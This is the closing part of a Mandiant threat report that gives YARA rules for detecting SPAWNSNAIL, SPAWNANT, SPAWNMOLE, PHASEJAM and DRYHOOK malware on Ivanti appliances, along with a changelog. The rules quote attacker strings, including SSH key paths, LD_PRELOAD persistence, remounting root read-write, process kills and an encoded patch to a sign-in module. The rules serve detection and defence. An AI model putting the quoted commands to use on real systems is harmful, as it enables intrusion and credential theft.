/tmp/.liblogblock.so

ログ改ざんユーティリティ

YARA ルール

rule M_APT_Installer_SPAWNSNAIL_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH 
backdoor targeting Ivanti devices. It has an ability to inject a specified 
binary to other process, running local SSH backdoor when injected to 
dsmdm process, as well as injecting additional malware to dslogserver" 
        md5 = "e7d24813535f74187db31d4114f607a1"
  
    strings: 
        $priv = "PRIVATE KEY-----" ascii fullword
        
        $key1 = "%d/id_ed25519" ascii fullword
        $key2 = "%d/id_ecdsa" ascii fullword
        $key3 = "%d/id_rsa" ascii fullword
        
        $sl1 = "[selinux] enforce" ascii fullword
        $sl2 = "DSVersion::getReleaseStr()" ascii fullword
        
        $ssh1 = "ssh_set_server_callbacks" ascii fullword
        $ssh2 = "ssh_handle_key_exchange" ascii fullword
        $ssh3 = "ssh_add_set_channel_callbacks" ascii fullword
        $ssh4 = "ssh_channel_close" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and $priv and any of ($key*) 
and any of ($sl*) and any of ($ssh*)
}
rule M_APT_Installer_SPAWNANT_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNANT. SPAWNANT is an 
Installer targeting Ivanti devices. Its purpose is to persistently 
install other malware from the SPAWN family (SPAWNSNAIL, 
SPAWNMOLE) as well as drop additional webshells on the box." 
  
    strings: 
        $s1 = "dspkginstall" ascii fullword
        $s2 = "vsnprintf" ascii fullword
        $s3 = "bom_files" ascii fullword
        $s4 = "do-install" ascii
        $s5 = "ld.so.preload" ascii
        $s6 = "LD_PRELOAD" ascii
        $s7 = "scanner.py" ascii
        
    condition: 
        uint32(0) == 0x464c457f and 5 of ($s*)
}
rule M_Tunneler_SPAWNMOLE_3
{
    meta:
        author = "Mandiant"
        description = "Hunting rule looking for strings and code 
identified in SPAWNMOLE samples"
        md5 = "a638fd203ddb540d0484d8e00490df06"
    strings:
        $str1 = "/proc/self/exe"
        $str2 = "/proc/%d/maps"
        $str3 = "=> encrypt buf"
        $str4 = "=> decrypt buf"
        $str5 = "%s    <malformed>"
        $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 3C 01 0F 85 }
        $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 1B 0F 85}
        $code1 = { 8D 55 B8 8B 45 F0 01 D0 0F B6 10 8B 4D F0 8B 45 0C 01 C8 0F 
B6 00 31 C2 8D 4D B8 8B 45 F0 01 C8 88 10 83 45 F0 01 83 7D F0 2F 7E D4 }
        $code2 = { 81 7D E8 E2 E3 49 FB 0F 85 CD 00 00 00 81 7D E4 61 83 C3 1B }
    condition:
        uint32(0) == 0x464c457f and
        (all of ($s*)) and
        (1 of ($comparison*)) and
        (1 of ($code*))
}
rule M_Dropper_PHASEJAM_1 {
    meta:
        author = "Mandiant"
        description = "Hunting rule looking for strings identified in the 
PHASEJAM dropper"
        md5 = "d18e5425ecd9608ecb992606b974e15d"
	strings:
	
		$str1 = "AccessAllow()"
		$str2 = "/jam/getComponent.cgi"
		$str3 = "jam/getComponent.cgi.bak"
		$str4 = "sh=$(echo CnN1Y"
		$str5 = "up=$(echo CnN1Y"
		$str6 = "grep -q 'sub AccessAllow()'"
		$str7 = "cp -f /home/bin/remotedebug /home/bin/remotedebug.bak"
		$str8 = "chmod 777 /home/bin/remotedebug.bak"
		$str9 = "cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak"
		$str10 = "pkill cgi-server"
	condition:
		8 of them and filesize < 20KB
          
}
rule M_Credtheft_DRYHOOK_1 {
    meta:
        author = "Mandiant"
        description = "Hunting rule looking for strings identified in 
the DRYHOOK credential stealer"
        md5 = "61bb586dc4e047ab081ef6ca65684e48"
	strings:
	
		$str1 = "/home/perl/DSAuth.pm"
		$str2 = "replace_content"
		$str3 = "replace1_content"
		$str4 = "replace2_content"
		$str5 = "pkill cgi-server"
		$str6 = "setPrompt ="
		$str7 = "runSignin = \\*DSAuthc::RealmSignin_runSignin"
		$str8 = "/bin/mount -o remount,rw / > /dev/null 2>&1"
		$str9 = {64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22 
5c 2a 72 75 6e 53 69 67 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c 
62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 72 65 70 6c 61 
63 65 32 5f 63 6f 6e 74 65 6e 74 2e 65 6e 63 6f 64 65 28 29 29 2e 64 
65 63 6f 64 65 28 29 2e 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65 
5f 65 73 63 61 70 65 22 29 2c 64 61 74 61 29}
	condition:
		8 of them and filesize < 20KB
          
}

Changelog

Date

Description

Jan. 8, 2025

DRYHOOK YARA MD5 updated to 61bb586dc4e047ab081ef6ca65684e48

Jan. 9, 2025

SPAWNMOLE YARA Signature update to rule M_Tunneler_SPAWNMOLE_3

Jan. 17, 2025

Attribution updated to UNC5221

-Mandiant、執筆者: John Wolfram、Josh Murchie、Matt Lin、Daniel Ainsworth、Robert Wallace、Dimiter Andonov、Dhanesh Kizhakkinan、Jacob Thompson
投稿先